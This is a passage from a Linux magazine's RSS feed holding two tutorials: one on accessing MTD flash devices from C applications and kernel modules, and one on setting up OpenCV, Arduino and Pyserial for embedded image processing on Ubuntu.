Designer" rel="tag">Qt Designer</a>, <a href="http://www.linuxforu.com/tag/qt-development/" title="Qt development" rel="tag">Qt development</a>, <a href="http://www.linuxforu.com/tag/qt-gui-applications/" title="Qt GUI applications" rel="tag">Qt GUI applications</a>, <a href="http://www.linuxforu.com/tag/qt-linguist/" title="Qt Linguist" rel="tag">Qt Linguist</a>, <a href="http://www.linuxforu.com/tag/software-frameworks/" title="software frameworks" rel="tag">software frameworks</a>, <a href="http://www.linuxforu.com/tag/sun-microsystems/" title="Sun Microsystems" rel="tag">Sun Microsystems</a>, <a href="http://www.linuxforu.com/tag/symbian/" title="Symbian" rel="tag">Symbian</a>, <a href="http://www.linuxforu.com/tag/trolltech/" title="Trolltech" rel="tag">Trolltech</a>, <a href="http://www.linuxforu.com/tag/xml/" title="xml" rel="tag">xml</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/developing-applications-qt-part-1/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Working with MTD Devices</title><link>http://www.linuxforu.com/2012/01/working-with-mtd-devices/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=working-with-mtd-devices</link> <comments>http://www.linuxforu.com/2012/01/working-with-mtd-devices/#comments</comments> <pubDate>Tue, 31 Jan 2012 05:28:39 +0000</pubDate> <dc:creator>Mohan Lal Jangir</dc:creator> <category><![CDATA[Coding]]></category> <category><![CDATA[Developers]]></category> <category><![CDATA[application developers]]></category> <category><![CDATA[bad blocks]]></category> <category><![CDATA[C]]></category> <category><![CDATA[Data storage device]]></category> <category><![CDATA[Disk sector]]></category> <category><![CDATA[driver]]></category> <category><![CDATA[file systems]]></category> <category><![CDATA[flash devices]]></category> <category><![CDATA[flash memory]]></category> <category><![CDATA[flash memory chips]]></category> <category><![CDATA[Hard disk drive]]></category> <category><![CDATA[kernel]]></category> <category><![CDATA[kernel programmer]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[Memory Technology]]></category> <category><![CDATA[MTD]]></category> <category><![CDATA[MTD Devices]]></category> <category><![CDATA[NAND/NOR-based flash]]></category> <category><![CDATA[partitions]]></category> <category><![CDATA[removable media]]></category> <category><![CDATA[scheduler]]></category> <category><![CDATA[sd cards]]></category> <category><![CDATA[USB flash drive]]></category> <category><![CDATA[volatile data]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9415</guid> <description><![CDATA[This article shows how kernel and application developers (in C) can make use of MTD in Linux. MTD (Memory Technology Devices) are NAND/NOR-based flash memory chips used for storing non-volatile data like boot...]]></description> <content:encoded><![CDATA[<p><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/mtd-590x315.png?d9c344" alt="Memory Technology Devices" title="Memory Technology Devices" width="590" height="315" class="aligncenter size-large wp-image-9418" /><div class="introduction">This article shows how kernel and application developers (in C) can make use of MTD in Linux.</div><p>MTD (Memory Technology Devices) are NAND/NOR-based flash memory chips used for storing non-volatile data like boot images and configurations. Readers are cautioned not to get confused with USB sticks, SD cards, etc., which are also called flash devices, but are not MTD devices. The latter are generally found on development boards, used to store boot loaders, an OS, etc.</p><p>Even though MTD devices are for data storage, they differ from hard disks and RAM in several aspects. The biggest difference is that while hard disk sectors are rewritable, MTD device sectors must be erased before rewriting &#8212; which is why they are more commonly called erase-blocks. Second, hard disk sectors can be rewritten several times without wearing out the hardware, but MTD device sectors have a limited life and are not usable after about 10^3-10^5 erase operations. The worn out erase-blocks are called bad blocks and the software must take care not to use such blocks.</p><p>Like hard disks, MTD devices can be partitioned and can therefore act as independent devices. On a system with one or more MTD devices, device and partition information can be obtained from the <code>/proc/mtd</code> file. A typical <code>/proc/mtd</code> file is as follows:</p><pre class="brush: text; gutter: false; first-line: 1">cat /proc/mtd
dev:  size    erasesize name
mtd0: 000a0000 00020000 &quot;misc&quot;
mtd1: 00420000 00020000 &quot;recovery&quot;
mtd2: 002c0000 00020000 &quot;boot&quot;
mtd3: 0fa00000 00020000 &quot;system&quot;
mtd4: 02800000 00020000 &quot;cache&quot;
mtd5: 0af20000 00020000 &quot;userdata&quot;</pre><p>A partitioned MTD device can be depicted as in Figure 1, which shows the relation between an MTD device, a partition and a sector.</p><div id="attachment_9416" class="wp-caption aligncenter" style="width: 450px"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/figure-1-an-MTD-Device.jpg?d9c344" alt="An MTD device" title="An MTD device" width="450" height="477" class="size-full wp-image-9416" /><p class="wp-caption-text">Figure 1: An MTD device</p></div><p>As already said, MTD write operations are different from usual storage devices. Therefore, before we move further, let&#8217;s understand how write operations take place on MTD devices. Figure 2 shows a typical write case.</p><div id="attachment_9417" class="wp-caption aligncenter" style="width: 590px"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/figure-2-590x172.jpg?d9c344" alt="An MTD write operation" title="An MTD write operation" width="590" height="172" class="size-large wp-image-9417" /><p class="wp-caption-text">Figure 2: An MTD write operation</p></div><p>The left-most part shows a sector that has some data at the end. The rest of the sector has not been written since the last erase. A user wants to write &#8220;new data 1&#8243; to this sector at offset 0. Since this part of the sector has already been erased, it is ready to be written and so &#8220;new data 1&#8243; can be directly written to the sector. Later, the user may want to write &#8220;new data 2&#8243;, again at offset 0. To do this, the sector must be erased. Since the sector needs to be erased in entirety, the &#8220;old data&#8221; must be backed up in a temporary buffer. After erasing the complete sector, the &#8220;new data 2&#8243; and &#8220;old data&#8221; must be written at appropriate offsets.</p><p>This procedure is the reason there are specific file systems for MTD devices, like JFFS2 and YAFFFS, and flash translation layers (FTL) like NFTL, INFTL, etc. These FTLs and file systems take special care of MTD device properties to hide complexity from the user.</p><p>In the first section that follows, we will look at how to access, read/write and erase MTD devices from Linux applications. The second section describes the same things in kernel space, so that this article can be useful to both application as well as kernel developers.</p><h2>Accessing MTDs from applications</h2><p>The user must know the device partition to work upon, which can be found from <code>/proc/mtd</code> as shown earlier. Assuming users want to work on the &#8220;userdata&#8221; partition, they must use the <code>/dev/mtd5</code> device.</p><p>The first thing to do is to get information about the MTD device. Use the <code>MEMGETINFO ioctl</code> command, as follows:</p><pre class="brush: c; gutter: true; first-line: 1">#include &lt;stdio.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;mtd/mtd-user.h&gt;

int main()
{
    mtd_info_t mtd_info;
    int fd = open(&quot;/dev/mtd5&quot;, O_RDWR);
ioctl(fd, MEMGETINFO, &amp;mtd_info);

    printf(&quot;MTD type: %u\n&quot;, mtd_info.type);
    printf(&quot;MTD total size : %u bytes\n&quot;, mtd_info.size);
    printf(&quot;MTD erase size : %u bytes\n&quot;, mtd_info.erasesize);

    return 0;
}</pre><p>Error handling has been omitted for brevity. The <code>mtd_info_t</code> structure is used with the <code>MEMGETINFO</code> command. The MTD type can be <code>MTD_ABSENT</code>, <code>MTD_RAM</code>, <code>MTD_ROM</code>, <code>MTD_NAND</code>, <code>MTD_NOR</code>, etc., which are defined in the <code>mtd/mtd-abi.h</code> header file. The <code>mtd_info.size</code> indicates the size of the whole device (i.e., the partition, in this case). Finally, <code>mtd_info.erasesize</code> indicates the sector size. During an erase operation, this is the minimum size that can be erased, as we&#8217;ll see later.</p><p>Reading MTD devices is similar to ordinary devices:</p><pre class="brush: c; gutter: false; first-line: 1">/* read something from last sector */
unsigned char buf[64];
lseek(fd, -mtd_info.erasesize, SEEK_END);
read(fd, buf, sizeof(buf));</pre><p>A write operation can be performed in the same way, provided the sector has been erased previously. Finally, we come to the erase operation. Here is an example of erasing a partition, sector by sector:</p><pre class="brush: c; gutter: false; first-line: 1">void erase_partition(mtd_info_t *mtd_info, int fd) {
    erase_info_t ei;
    ei.length = mtd_info-&gt;erasesize;
 
    for(ei.start = 0; ei.start &lt; mtd_info-&gt;size; ei.start += mtd_info-&gt;erasesize) {
        ioctl(fd, MEMUNLOCK, &amp;ei);
        ioctl(fd, MEMERASE, &amp;ei);
    }
}</pre><p>All sectors of the device are writeable after this erase operation. Notice the use of <code>MEMUNLOCK</code> before <code>MEMERASE</code>, which is essential to allow the erase operation.</p><h2>Accessing MTDs from kernel space</h2><p>This section will repeat the functions explained in the previous section, but in kernel space. This needs a separate section since the erase operation is more complex here  &#8211;  the erase operation may sleep and therefore the kernel programmer has to wait until the operation is completed. This is the case for applications too, but the sleep is transparently taken care of by the scheduler.</p><p>As explained earlier, the first MTD information is the <code>mtd_info</code> structure. This is retrieved by iterating through all registered MTD devices:</p><pre class="brush: c; gutter: true; first-line: 1">#include &lt;linux/kernel.h&gt;
#include &lt;linux/mtd/mtd.h&gt;
#include &lt;linux/err.h&gt;

static struct mtd_info *mtd_info = NULL;
 
int init_module(void) {
    int num;
    for(num = 0; num &lt; 64; num++) {
        mtd_info = get_mtd_device(NULL, num);
        if(IS_ERR(mtd_info)) {
            printk(&quot;No device for num %d\n&quot;, num);
            continue;
        }
        if(mtd_info-&gt;type == MTD_ABSENT) {
            put_mtd_device(mtd_info);
            continue;
        }
        if(strcmp(mtd_info-&gt;name, &quot;userdata&quot;)) {
            put_mtd_device(mtd_info);
            continue;
        }
        printk(&quot;MTD type: %u\n&quot;, mtd_info-&gt;type);
        printk(&quot;MTD total size : %u bytes\n&quot;, mtd_info-&gt;size);
        printk(&quot;MTD erase size : %u bytes\n&quot;, mtd_info-&gt;erasesize);
        return 0;
    }
    mtd_info = NULL;
    return 0;
}
 
void cleanup_module(void)

{

if(mtd_info)
        put_mtd_device(mtd_info);
}</pre><p>The above kernel module searches for the &#8220;userdata&#8221; partition. The function <code>get_mtd_device()</code>, when invoked with the first argument <code>NULL</code>, returns the MTD device associated with the minor number specified in the second argument. On a successful search, it increments the reference count of the device. That&#8217;s why, before exiting, a call to <code>put_mtd_device()</code> must be made to release (decrement) the reference count.</p><p>Additionally, the module uses the <code>flag MTD_ABSENT</code> (which is available to applications too). This check is required to function correctly with some probing device drivers used to allocate placeholder MTD devices on systems that have socketed or removable media.</p><p>Having retrieved the <code>mtd_info</code> structure, reading is relatively simple:</p><pre class="brush: c; gutter: false; first-line: 1">/* read something from last sector */
u_char buf[64];

mtd_info-&gt;read(mtd_info, mtd_info.size-mtd_info.erasesize, sizeof(buf), buf);</pre><p>The second argument of the read function specifies the read offset, and the third the length to read. Note that the read operation too may sleep and, therefore, it must not be performed in an interrupt context. The write operation can be performed as follows (assuming the sector has been previously erased):</p><pre class="brush: c; gutter: false; first-line: 1">/* write something to last sector */
mtd_info-&gt;write(mtd_info, mtd_info.size-mtd_info.erasesize, sizeof(buf), buf);</pre><p>As mentioned before, the read, write and erase operations may sleep. Therefore, kernel code must wait for the operation to finish. Here is an example of erasing the partition and waiting to finish the operation:</p><pre class="brush: c; gutter: false; first-line: 1">#include &lt;linux/sched.h&gt;

void erase_partition(struct mtd_info *mtd_info) {
    unsigned int start;
    for(start = 0; start &lt; mtd_info-&gt;size; start += mtd_info-&gt;erasesize)
        erase_sector(mtd_info, start, mtd_info-&gt;erasesize);
}
 
void erase_sector(struct mtd_info *mtd_info, unsigned int start, unsigned int len) 

{
    int ret;
    struct erase_info ei = {0};
    wait_queue_head_t waitq;
    DECLARE_WAITQUEUE(wait, current);
    
    init_waitqueue_head(&amp;waitq);
    ei.addr = start;
    ei.len = mtd_info-&gt;erasesize;
    ei.mtd = mtd_info;
    ei.callback = erase_callback;
    ei.priv = (unsigned long)&amp;waitq;
    ret = mtd_info-&gt;erase(mtd_info, &amp;ei);
    if(!ret)     {
        set_current_state(TASK_UNINTERRUPTIBLE);
        add_wait_queue(&amp;waitq, &amp;wait);
        if (ei.state != MTD_ERASE_DONE &amp;&amp; ei.state != MTD_ERASE_FAILED)
            schedule();
        remove_wait_queue(&amp;waitq, &amp;wait);
        set_current_state(TASK_RUNNING);
 
        ret = (ei.state == MTD_ERASE_FAILED)?-EIO:0;
    }
}
 
void erase_callback (struct erase_info *instr) {
    wake_up((wait_queue_head_t *)instr-&gt;priv);
}</pre><p>The <code>erase_partition()</code> function iterates over all sectors, and erases them with <code>erase_sector()</code>. At the core of <code>erase_sector()</code> is the <code>mtd_info-&gt;erase</code> call, which (as mentioned previously) may sleep. Therefore, <code>erase_sector()</code> prepares a wait queue and a wait queue head.</p><p>After a call to <code>mtd_info-&gt;erase</code>, the function prepares itself to relinquish the CPU (presuming that <code>mtd_info-&gt;erase</code> will sleep) by changing task state to <code>TASK_UNINTERRUPTIBLE</code> and adding itself to the wait queue head. Before relinquishing the CPU, it checks if erase is done, through the <code>ei.state</code> flag. If erase is done successfully, this flag will be set to <code>MTD_ERASE_DONE</code>.</p><p>If the erase operation is not complete, the task relinquishes the CPU by calling <code>schedule()</code>. Later, when the erase operation is complete, the driver calls the callback function provided in <code>ei.callback</code>. Here the task wakes up to itself, then removes itself from the wait queue, changes the task state to <code>TASK_RUNNING</code> and finally, the <code>erase_sector()</code> function returns.</p><p>MTD devices have many more features that can be used by application programmers. ECC (error correction codes) and OOB (out of band) data are some of them. The MTD framework is integrated into the Linux kernel &#8212; therefore it makes working with MTD devices very simple, as we have seen in this article.<div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2012/01/device-drivers-partitions-hard-disk/" rel="bookmark" class="crp_title">Device Drivers, Part 14: A Dive Inside the Hard Disk for Understanding Partitions</a></li><li><a href="http://www.linuxforu.com/2011/12/loading-library-files-in-cpp/" rel="bookmark" class="crp_title">Loading Library Files in C++</a></li><li><a href="http://www.linuxforu.com/2011/05/decoding-character-device-file-operations/" rel="bookmark" class="crp_title">Device Drivers, Part 6: Decoding Character Device File Operations</a></li><li><a href="http://www.linuxforu.com/2011/12/data-transfers-to-from-usb-devices/" rel="bookmark" class="crp_title">Device Drivers, Part 13: Data Transfer to and from USB Devices</a></li><li><a href="http://www.linuxforu.com/2011/11/socket-api-part-4-datagrams/" rel="bookmark" class="crp_title">The Socket API, Part 4: Datagrams</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/application-developers/" title="application developers" rel="tag">application developers</a>, <a href="http://www.linuxforu.com/tag/bad-blocks/" title="bad blocks" rel="tag">bad blocks</a>, <a href="http://www.linuxforu.com/tag/c/" title="C" rel="tag">C</a>, <a href="http://www.linuxforu.com/tag/data-storage-device/" title="Data storage device" rel="tag">Data storage device</a>, <a href="http://www.linuxforu.com/tag/disk-sector/" title="Disk sector" rel="tag">Disk sector</a>, <a href="http://www.linuxforu.com/tag/driver/" title="driver" rel="tag">driver</a>, <a href="http://www.linuxforu.com/tag/file-systems/" title="file systems" rel="tag">file systems</a>, <a href="http://www.linuxforu.com/tag/flash-devices/" title="flash devices" rel="tag">flash devices</a>, <a href="http://www.linuxforu.com/tag/flash-memory/" title="flash memory" rel="tag">flash memory</a>, <a href="http://www.linuxforu.com/tag/flash-memory-chips/" title="flash memory chips" rel="tag">flash memory chips</a>, <a href="http://www.linuxforu.com/tag/hard-disk-drive/" title="Hard disk drive" rel="tag">Hard disk drive</a>, <a href="http://www.linuxforu.com/tag/kernel/" title="kernel" rel="tag">kernel</a>, <a href="http://www.linuxforu.com/tag/kernel-programmer/" title="kernel programmer" rel="tag">kernel programmer</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/memory-technology/" title="Memory Technology" rel="tag">Memory Technology</a>, <a href="http://www.linuxforu.com/tag/mtd/" title="MTD" rel="tag">MTD</a>, <a href="http://www.linuxforu.com/tag/mtd-devices/" title="MTD Devices" rel="tag">MTD Devices</a>, <a href="http://www.linuxforu.com/tag/nandnor-based-flash/" title="NAND/NOR-based flash" rel="tag">NAND/NOR-based flash</a>, <a href="http://www.linuxforu.com/tag/partitions/" title="partitions" rel="tag">partitions</a>, <a href="http://www.linuxforu.com/tag/removable-media/" title="removable media" rel="tag">removable media</a>, <a href="http://www.linuxforu.com/tag/scheduler/" title="scheduler" rel="tag">scheduler</a>, <a href="http://www.linuxforu.com/tag/sd-cards/" title="sd cards" rel="tag">sd cards</a>, <a href="http://www.linuxforu.com/tag/usb-flash-drive/" title="USB flash drive" rel="tag">USB flash drive</a>, <a href="http://www.linuxforu.com/tag/volatile-data/" title="volatile data" rel="tag">volatile data</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/working-with-mtd-devices/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Building Image Processing Embedded Systems using Python, Part 1</title><link>http://www.linuxforu.com/2012/01/building-image-processing-embedded-systems-using-python-part-1/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=building-image-processing-embedded-systems-using-python-part-1</link> <comments>http://www.linuxforu.com/2012/01/building-image-processing-embedded-systems-using-python-part-1/#comments</comments> <pubDate>Mon, 30 Jan 2012 17:48:27 +0000</pubDate> <dc:creator>Jayneil Dalal</dc:creator> <category><![CDATA[Developers]]></category> <category><![CDATA[Home / Quick Tips]]></category> <category><![CDATA[How-Tos]]></category> <category><![CDATA[Android]]></category> <category><![CDATA[Arduino]]></category> <category><![CDATA[C]]></category> <category><![CDATA[embedded systems]]></category> <category><![CDATA[embedded vision]]></category> <category><![CDATA[Image processing]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[matlab]]></category> <category><![CDATA[OMAP4430]]></category> <category><![CDATA[OpenCV]]></category> <category><![CDATA[PandaBoard]]></category> <category><![CDATA[portable solution]]></category> <category><![CDATA[Pyserial]]></category> <category><![CDATA[python]]></category> <category><![CDATA[signal processing]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9402</guid> <description><![CDATA[The first part of this three-part series gives a brief overview of the embedded vision and the various components required to make it work. It also covers the installation procedure for the OpenCV...]]></description> <content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-9408" title="Python" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/python.jpg?d9c344" alt="Python" width="300" height="272" /></p><div class="introduction">The first part of this three-part series gives a brief overview of the embedded vision and the various components required to make it work. It also covers the installation procedure for the OpenCV library.</div><p>Modern life is incomplete without gadgets, smartphones, automated appliances, et al. These electronic devices aide us in our daily grind, making our otherwise mundane/hectic life a bit easier. So what controls these devices? In layman&#8217;s language, it&#8217;s a small circuit with preprogrammed human logic, called an embedded system. Listed below are some useful definitions.</p><ul><li><strong>Embedded system (ES):</strong> An embedded system is some combination of computer hardware and software, either fixed in capability or programmable, that is specifically designed for a particular function. Industrial machines, automobiles, medical equipment, cameras, household appliances, air-planes, vending machines and toys (as well as the more obvious cellular phone and PDA) are among the myriad possible hosts of an embedded system.</li><li><strong>Image processing:</strong> In electrical engineering and computer science, image processing is any form of signal processing for which the input is an image, such as a photograph or video frame. The output of image processing may be either an image, or a set of characteristics or parameters related to the image. Most image-processing techniques involve treating the image as a two-dimensional signal, and applying standard signal-processing techniques to it. In other words, it is basically the transformation of data from a still or video camera into either a decision or a new representation. All such transformations are done to achieve some particular goal. The input data may be a live video feed, the decision may be that a face has been detected, and a new representation may be conversion of a colour image into a greyscale image.</li><li><strong>Embedded vision:</strong> Embedded vision is the merging of two technologies &#8212; embedded systems and image-processing/computer vision (also sometimes referred to as machine vision). Due to the emergence of very powerful, low-cost and energy-efficient processors, it has become possible to incorporate vision capabilities into a wide range of embedded systems. One successful example is the Microsoft Kinect video game controller, which uses embedded vision to track the movements of Xbox 360 users, avoiding the need for handheld controllers. Microsoft sold eight million Kinect units in the first two months after its introduction.</li></ul><p>Moving on, the five basic components required to build an embedded system using Python are discussed below, in brief.</p><h2>The operating system (OS)</h2><p>The OS is the heart of an embedded vision system. Many different dependencies that are required to run software are provided by the OS, which is the interface between the hardware and the software. Of the many OSs in the market (such as Windows, Linux, etc.) there are reasons why Linux is preferable:</p><ul><li>It is open source, i.e., it is free of cost and free, as in &#8220;freedom&#8221;.</li><li>It is virtually virus-free.</li><li>It has pretty good support &#8212; bug trackers, documentation, forums, mailing lists, IRC, etc.</li><li>It is easy on systems resources &#8212; that is, more resources can be dedicated to applications.</li></ul><p>There are various Linux distributions like Ubuntu, Fedora, etc., to choose from. I personally prefer Ubuntu, because of its easy learning curve. Now, size is the main constraint for an embedded system. Using a PC OS won&#8217;t do. A much more portable solution is required, such as the <a href="http://pandaboard.org/">PandaBoard</a>shown in Figure 1.</p><div id="attachment_9405" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig11.jpg?d9c344"><img class="size-large wp-image-9405" title="PandaBoard" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig11-590x419.jpg?d9c344" alt="PandaBoard" width="590" height="419" /></a><p class="wp-caption-text">Figure 1: PandaBoard</p></div><p>Check out its specs:</p><ul><li>OMAP4 (Cortex-A9) CPU-based open development platform</li><li>OMAP4430 Application processor</li><li>1 GB low-power DDR2 RAM</li><li>Display HDMI v1.3 Connector (Type A) to drive HD displays, DVI-D Connector</li><li>8.89cm audio in/out and HDMI Audio out</li><li>Full-size SD/MMC card</li><li>Built-in 802.11 and Bluetooth v2.1+EDR</li><li>Onboard 10/100 Ethernet</li><li>Expansion: 1xUSB OTG, 2xUSB HS host ports, general-purpose expansion header</li></ul><p>PandaBoard is such a powerful mobile computing platform that one can port various OSs like Android and Ubuntu 10.04 to it!</p><h2>Image-Processing (IP) software</h2><p>There are many software and libraries available for image processing, like MATLAB, OpenCV, etc. Licensing costs for MATLAB are very high, but OpenCV is preferable since:</p><ul><li>It is free.</li><li>It is fast.</li><li>Has good documentation, tutorials, user groups, forums, etc.</li><li>There are a lot of prebuilt functions and algorithms to get a head start.</li><li>There is active development on interfaces for other languages like Ruby, Python, MATLAB, etc.</li></ul><p>OpenCV grew out of an Intel Research initiative to advance CPU-intensive applications. The intent behind OpenCV was to provide a platform that a student could readily use for developing applications, instead of reinventing basic functions from scratch. Figure 2 is a block diagram showing the different modules in OpenCV. Check out the documentation <a href="http://opencv.itseez.com/">here</a>.</p><div id="attachment_9406" class="wp-caption aligncenter" style="width: 590px"><img class="size-large wp-image-9406" title="OpenCV modules" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig2-OpenCV_modules-590x319.jpg?d9c344" alt="OpenCV modules" width="590" height="319" /><p class="wp-caption-text">Figure 2: OpenCV modules</p></div><h2>Arduino</h2><p>To make any changes in the external environment, we need a hardware circuit with a &#8220;brain&#8221;. This role can be filled by any microcontroller or microprocessor. Various companies such as Texas Instruments, NXP, Maxim, Atmel, etc., make microcontrollers.</p><p>A microcontroller cannot be directly used in a circuit, as is. A full development circuit board has to be made, providing access to different pins of the microcontroller. This process is not easy, as it involves designing the circuit, soldering, etc. All changes are permanent. Also, a program loader has to be made to load the code from the computer into the microcontroller. This can be quite cumbersome, so <a href="http://www.arduino.cc/">Arduino</a> is used, due to the following reasons:</p><ul><li>It is open source, so all schematics are available and you can design the same board on your own.</li><li>It is based on the concept of breadboard prototyping, which encourages the use of hook-up wires and breadboard, to make a circuit which can be easily modified later. This avoids the hassles of soldering.</li><li>There are a number of tutorials, tons of code, forums, etc., to help beginners.</li><li>The design of the board and IDE is so simple that one does not have to be an engineer to use it. Even a middle school student can use it.</li><li>It is pretty cheap compared to other available development boards.</li></ul><p>There are various versions of Arduino to choose from, such as Uno, Mega, Lilypad, etc. I personally prefer the Arduino Mega (Figure 3), which is a microcontroller board based on the ATmega1280.</p><div id="attachment_9407" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig3.jpg?d9c344"><img class="size-large wp-image-9407" title="Arduino Mega" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig3-590x302.jpg?d9c344" alt="Arduino Mega" width="590" height="302" /></a><p class="wp-caption-text">Figure 3: Arduino Mega</p></div><p>It has 54 digital input/output pins, of which 14 can be used as PWM (Pulse-width modulation) outputs, 16 analogue inputs, 4 UARTs (hardware serial ports), a 16 MHz crystal oscillator, a USB connection, a power jack, an ICSP header, and a reset button. It contains everything needed to support the microcontroller; simply connect it to a computer with a USB cable, or power it with an AC-to-DC adaptor or battery to get started.</p><h2>Pyserial</h2><p>This is a <a href="http://pyserial.sourceforge.net/">library</a> that provides Python support for serial connections (RS-232) over a variety of different devices: old-style serial ports, Bluetooth dongles, infra-red ports, and so on. It also supports remote serial ports via RFC 2217 (since V2.5). We use this for communication with the external hardware (Arduino). This library is easy to use, and has good documentation.</p><h2>Python</h2><p>Python is a general-purpose, high-level programming language whose design philosophy emphasises code readability. Python claims to combine remarkable power with very clear syntax, and its standard library is large and comprehensive.</p><h2>OpenCV installation</h2><p>Let us now proceed to OpenCV installation. All commands are meant to be run in a terminal.</p><ol><li>Install all prerequisites as shown below:<pre class="brush: text; gutter: false; first-line: 1">sudo apt-get install build-essential
sudo apt-get install cmake
sudo apt-get install pkg-config
sudo apt-get install libpng12-0 libpng12-dev libpng++-dev libpng3
sudo apt-get install libpnglite-dev libpngwriter0-dev libpngwriter0c2
sudo apt-get install zlib1g-dbg zlib1g zlib1g-dev
sudo apt-get install libjasper-dev libjasper-runtime libjasper1
sudo apt-get install pngtools libtiff4-dev libtiff4 libtiffxx0c2 libtiff-tools
sudo apt-get install libjpeg8 libjpeg8-dev libjpeg8-dbg libjpeg-prog
sudo apt-get install ffmpeg libavcodec-dev libavcodec52 libavformat52 libavformat-dev
sudo apt-get install libgstreamer0.10-0-dbg libgstreamer0.10-0 libgstreamer0.10-dev
sudo apt-get install libxine1-ffmpeg libxine-dev libxine1-bin
sudo apt-get install libunicap2 libunicap2-dev
sudo apt-get install libdc1394-22-dev libdc1394-22 libdc1394-utils
sudo apt-get install swig
sudo apt-get install libv4l-0 libv4l-dev
sudo apt-get install python-numpy
sudo apt-get install build-essential libgtk2.0-dev libjpeg62-dev libtiff4-dev libjasper-dev \
libopenexr-dev cmake python-dev python-numpy libtbb-dev libeigen2-dev yasm libfaac-dev \
libopencore-amrnb-dev libopencore-amrwb-dev libtheora-dev libvorbis-dev libxvidcore-dev</pre></li><li>Install Python development headers with <code>sudo apt-get install python-dev</code>.</li><li>Download the <a href="http://sourceforge.net/projects/opencvlibrary/files/opencv-unix/2.3/">OpenCV source code</a>. It is recommended that you move the downloaded OpenCV package to your <code>/home/&lt;user&gt;</code> directory. With that as your current directory, extract the archive, as follows:<pre class="brush: text; gutter: false; first-line: 1">tar -xvf OpenCV-2.3.1a.tar.bz2
cd OpenCV-2.3.1/</pre></li><li>Make a new directory called build and cd into it (mkdir build; cd build).</li><li>Run Cmake:<pre class="brush: text; gutter: false; first-line: 1">cmake -D WITH_TBB=ON -D BUILD_NEW_PYTHON_SUPPORT=ON -D WITH_V4L=OFF-D INSTALL_C_EXAMPLES=ON -D INSTALL_PYTHON_EXAMPLES=ON -D BUILD_EXAMPLES=ON ..</pre></li><li>Follow this with <code>make</code> and <code>sudo make install</code> (to install the library).</li><li>Next, configure the system to use the new OpenCV shared libraries. Edit a configuration file with <code>sudo gedit /etc/ld.so.conf.d/opencv.conf</code>. Add the following line at the end of the file (it may be an empty file, which is okay) and then save it:<pre class="brush: text; gutter: false; first-line: 1">/usr/local/lib</pre></li><li>Close the file and run <code>sudo ldconfig</code>.</li><li>Open your system <code>bashrc</code> file (for me, that is <code>sudo gedit /etc/bash.bashrc</code>) and add the following code at the end of the file:<pre class="brush: text; gutter: false; first-line: 1">PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/usr/local/lib/pkgconfig
export PKG_CONFIG_PATH</pre></li><li>Save and close the file, then log out and log in again, or reboot the system.</li></ol><p>In the second part of this series, I plan to cover the basics and functions of OpenCV, and then how to develop image-processing programs based on it. In the third (and final) part, I will cover Arduino and Pyserial programming, as well as how to integrate all five components to finally build an embedded system for image processing.</p><div class="note">Acknowledgement: I would really like to thank my colleagues Sohil Patel and Samarth Shah for their help and support. I would also like to thank Prof N.P Gajjar and Prof Dhaval Shah for their guidance.</div><div class="imagecredit">Feature image courtesy: <a href="http://www.flickr.com/photos/mrtopf/2050489689/">Christian Scholz</a>. Reused under the terms of CC-BY-NC 2.0 License.</div><div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/09/recover-deleted-files-in-linux/" rel="bookmark" class="crp_title">Recover Deleted Files in Linux</a></li><li><a href="http://www.linuxforu.com/2011/05/quick-quide-to-qemu-setup/" rel="bookmark" class="crp_title">The Quick Guide to QEMU Setup</a></li><li><a href="http://www.linuxforu.com/2011/05/how-to-remaster-ubuntu-to-get-a-customised-distribution/" rel="bookmark" class="crp_title">How to Remaster Ubuntu to Get a Customised Distribution</a></li><li><a href="http://www.linuxforu.com/2012/01/developing-applications-qt-part-1/" rel="bookmark" class="crp_title">Developing Applications on QT, Part 1</a></li><li><a href="http://www.linuxforu.com/2011/11/exploring-software-new-look-plone-4/" rel="bookmark" class="crp_title">Exploring Software: The New-Look Plone 4</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/android/" title="Android" rel="tag">Android</a>, <a href="http://www.linuxforu.com/tag/arduino/" title="Arduino" rel="tag">Arduino</a>, <a href="http://www.linuxforu.com/tag/c/" title="C" rel="tag">C</a>, <a href="http://www.linuxforu.com/tag/embedded-systems/" title="embedded systems" rel="tag">embedded systems</a>, <a href="http://www.linuxforu.com/tag/embedded-vision/" title="embedded vision" rel="tag">embedded vision</a>, <a href="http://www.linuxforu.com/tag/image-processing/" title="Image processing" rel="tag">Image processing</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/matlab/" title="matlab" rel="tag">matlab</a>, <a href="http://www.linuxforu.com/tag/omap4430/" title="OMAP4430" rel="tag">OMAP4430</a>, <a href="http://www.linuxforu.com/tag/opencv/" title="OpenCV" rel="tag">OpenCV</a>, <a 